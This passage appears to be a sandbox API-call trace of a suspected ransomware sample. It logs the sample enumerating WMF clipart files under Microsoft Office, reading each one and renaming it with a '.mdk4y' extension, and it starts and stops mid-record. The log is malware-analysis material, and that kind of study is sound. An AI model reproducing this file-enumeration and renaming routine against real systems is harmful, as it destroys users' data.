lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.867] AreFileApisANSI () returned 1 [0130.868] GetACP () returned 0x4e4 [0130.868] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00254_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00254_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.868] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820615900000) returned 1 [0130.929] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6c8, lpOverlapped=0x0) returned 1 [0131.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820623600000) returned 1 [0131.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820623600000) returned 1 [0131.007] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.mdk4y")) returned 1 [0131.008] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.008] AreFileApisANSI () returned 1 [0131.008] GetACP () returned 0x4e4 [0131.008] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00261_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00261_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.008] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820623800000) returned 1 [0131.008] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30c2, lpOverlapped=0x0) returned 1 [0131.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820623900000) returned 1 [0131.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820623900000) returned 1 [0131.010] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.mdk4y")) returned 1 [0131.010] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.010] AreFileApisANSI () returned 1 [0131.010] GetACP () returned 0x4e4 [0131.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00262_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00262_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.010] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820624100000) returned 1 [0131.011] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9fc, lpOverlapped=0x0) returned 1 [0131.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820624200000) returned 1 [0131.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820624200000) returned 1 [0131.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.mdk4y")) returned 1 [0131.013] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.013] AreFileApisANSI () returned 1 [0131.013] GetACP () returned 0x4e4 [0131.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00265_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00265_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.013] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820624300000) returned 1 [0131.013] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1678, lpOverlapped=0x0) returned 1 [0131.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820626300000) returned 1 [0131.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820626300000) returned 1 [0131.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.mdk4y")) returned 1 [0131.034] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.034] AreFileApisANSI () returned 1 [0131.034] GetACP () returned 0x4e4 [0131.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00267_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00267_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.034] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820626400000) returned 1 [0131.035] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa54, lpOverlapped=0x0) returned 1 [0131.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820626600000) returned 1 [0131.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820626600000) returned 1 [0131.036] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.mdk4y")) returned 1 [0131.037] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.037] AreFileApisANSI () returned 1 [0131.037] GetACP () returned 0x4e4 [0131.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00269_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00269_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.037] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820626700000) returned 1 [0131.037] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1498, lpOverlapped=0x0) returned 1 [0131.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820627800000) returned 1 [0131.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820627800000) returned 1 [0131.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.mdk4y")) returned 1 [0131.049] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.050] AreFileApisANSI () returned 1 [0131.050] GetACP () returned 0x4e4 [0131.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00270_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00270_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.050] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820628000000) returned 1 [0131.051] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbc8, lpOverlapped=0x0) returned 1 [0131.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820631000000) returned 1 [0131.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820631000000) returned 1 [0131.081] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.mdk4y")) returned 1 [0131.081] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.081] AreFileApisANSI () returned 1 [0131.081] GetACP () returned 0x4e4 [0131.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00273_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00273_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.082] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820631200000) returned 1 [0131.082] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xec4, lpOverlapped=0x0) returned 1 [0131.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820632200000) returned 1 [0131.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820632200000) returned 1 [0131.092] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.mdk4y")) returned 1 [0131.093] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.093] AreFileApisANSI () returned 1 [0131.093] GetACP () returned 0x4e4 [0131.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00274_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00274_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.093] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820632300000) returned 1 [0131.093] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1044, lpOverlapped=0x0) returned 1 [0131.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820634100000) returned 1 [0131.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820634100000) returned 1 [0131.111] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.mdk4y")) returned 1 [0131.112] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.112] AreFileApisANSI () returned 1 [0131.112] GetACP () returned 0x4e4 [0131.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00296_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00296_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.112] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820634300000) returned 1 [0131.113] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0131.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820642100000) returned 1 [0131.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820642100000) returned 1 [0131.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.mdk4y")) returned 1 [0131.192] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.192] AreFileApisANSI () returned 1 [0131.192] GetACP () returned 0x4e4 [0131.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00390_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00390_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.192] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820642300000) returned 1 [0131.193] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x332e, lpOverlapped=0x0) returned 1 [0131.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820642400000) returned 1 [0131.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820642400000) returned 1 [0131.194] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.mdk4y")) returned 1 [0131.196] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.196] AreFileApisANSI () returned 1 [0131.196] GetACP () returned 0x4e4 [0131.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00392_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00392_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.196] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.196] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820642600000) returned 1 [0131.196] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x69aa, lpOverlapped=0x0) returned 1 [0131.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820642700000) returned 1 [0131.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820642700000) returned 1 [0131.198] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.mdk4y")) returned 1 [0131.198] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.198] AreFileApisANSI () returned 1 [0131.198] GetACP () returned 0x4e4 [0131.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00524_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00524_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.198] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.199] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820642900000) returned 1 [0131.199] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b54, lpOverlapped=0x0) returned 1 [0131.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820644000000) returned 1 [0131.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820644000000) returned 1 [0131.210] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.mdk4y")) returned 1 [0131.211] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.211] AreFileApisANSI () returned 1 [0131.211] GetACP () returned 0x4e4 [0131.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00525_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00525_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.211] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.212] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820644200000) returned 1 [0131.212] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2576, lpOverlapped=0x0) returned 1 [0131.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820645800000) returned 1 [0131.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820645800000) returned 1 [0131.228] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.mdk4y")) returned 1 [0131.229] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.229] AreFileApisANSI () returned 1 [0131.229] GetACP () returned 0x4e4 [0131.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00526_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, 